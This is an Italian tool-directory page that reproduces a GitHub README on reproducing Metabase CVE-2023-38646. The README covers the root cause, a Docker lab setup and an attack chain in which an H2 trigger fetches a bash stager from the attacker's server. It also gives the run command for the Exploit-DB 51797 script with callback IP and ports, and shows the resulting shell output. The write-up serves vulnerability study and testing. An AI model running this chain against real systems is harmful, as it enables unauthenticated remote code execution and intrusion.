Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
metabase-cve-2023-38646 — Il repository contiene il PoC e i passaggi per riprodurre cve 2023-38646 | Kitploit
Strumenti/GitHubGitHub/kushiro45/metabase-cve-2023-38646
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

Il repository contiene il PoC e i passaggi per riprodurre cve 2023-38646

Vedi Repository
142 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

cd ~/metabase-poc cat > README.md << 'EOF'

CVE-2023-38646 — Esecuzione di codice remoto pre-autenticazione in Metabase

Riepilogo

CVSS 9.8. Le versioni di Metabase precedenti a 0.46.6.1 / 1.46.6.1 (e rami precedenti equivalenti) espongono una RCE pre-autenticazione tramite l'endpoint /api/setup/validate, progettato per convalidare i dettagli della connessione al database durante la configurazione iniziale ma raggiungibile senza autenticazione anche dopo che la configurazione è stata completata.

Causa principale

L'endpoint accetta un payload di connessione al database e, quando viene specificato engine: h2 con una stringa di connessione JDBC manipolata, consente di incorporare JavaScript arbitrario tramite la sintassi CREATE TRIGGER ... AS $$//javascript di H2. Il trigger viene eseguito al momento della convalida, fornendo all'attaccante l'esecuzione di JavaScript all'interno della JVM — che scala facilmente all'esecuzione di comandi del sistema operativo tramite java.lang.Runtime.getRuntime().exec().

Il problema di fondo è che il motore del database H2 considera il codice incorporato nella stringa di connessione come parte della "convalida" di un'origine dati, combinato con il fatto che Metabase espone questo percorso di convalida senza autenticazione.

Ambiente

  • Target: immagine Docker ufficiale metabase/metabase:v0.46.6
  • Strumenti dell'attaccante: Python 3, requests, termcolor
  • Sorgente PoC: Exploit-DB 51797 (Musyoka Ian, CVE-2023-38646)

Configurazione

Esegui Metabase vulnerabile:

docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase   # attendere "Metabase Initialization COMPLETE"

Installa le dipendenze dell'exploit:

pip3 install requests termcolor

Catena di attacco

  1. Recupero del token di configurazione — /api/session/properties rilascia un setup-token pensato per proteggere il flusso di configurazione iniziale una tantum, ma rimane valido e utilizzabile anche dopo che la configurazione è completa.
  2. Sonda di sfruttabilità — l'attaccante avvia un server HTTP locale; il trigger H2 manipolato fa sì che il target effettui un callback verso di esso, confermando l'esecuzione di JavaScript all'interno del motore H2.
  3. Esecuzione del comando — un secondo trigger manipolato utilizza java.lang.Runtime.getRuntime().exec() per recuperare uno stager bash dal server HTTP dell'attaccante e restituire l'output del comando su un listener TCP grezzo, codificato in base64.

Esecuzione

python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
  • -l — IP del callback dell'attaccante (gateway del bridge Docker quando il target è un container locale, ad es. 172.17.0.1)
  • -p — porta su cui il canale dei dati inverso si riconnette
  • -P — porta del server HTTP locale che serve lo script stager
  • -u — URL base del Metabase target

Una volta che il callback pre-autenticazione conferma la sfruttabilità, si accede a un prompt interattivo metabase_shell >.

Risultato

metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

Esecuzione del comando confermata come account di servizio metabase — pre-autenticazione, nessuna credenziale richiesta. La gravità deriva dalla RCE raggiungibile in rete con autenticazione zero, non dal livello di privilegio della shell risultante.

Correzione

Corretto in Metabase 0.46.6.1 / 1.46.6.1 e successive — l'endpoint /api/setup/validate ora richiede che la configurazione sia effettivamente incompleta e i token di configurazione vengono invalidati una volta che la configurazione iniziale è terminata.

Avvertenza

Solo per uso isolato in laboratorio. Non eseguire contro istanze Metabase che non possiedi o per le quali non hai esplicita autorizzazione al test. EOF

Scarica lo strumento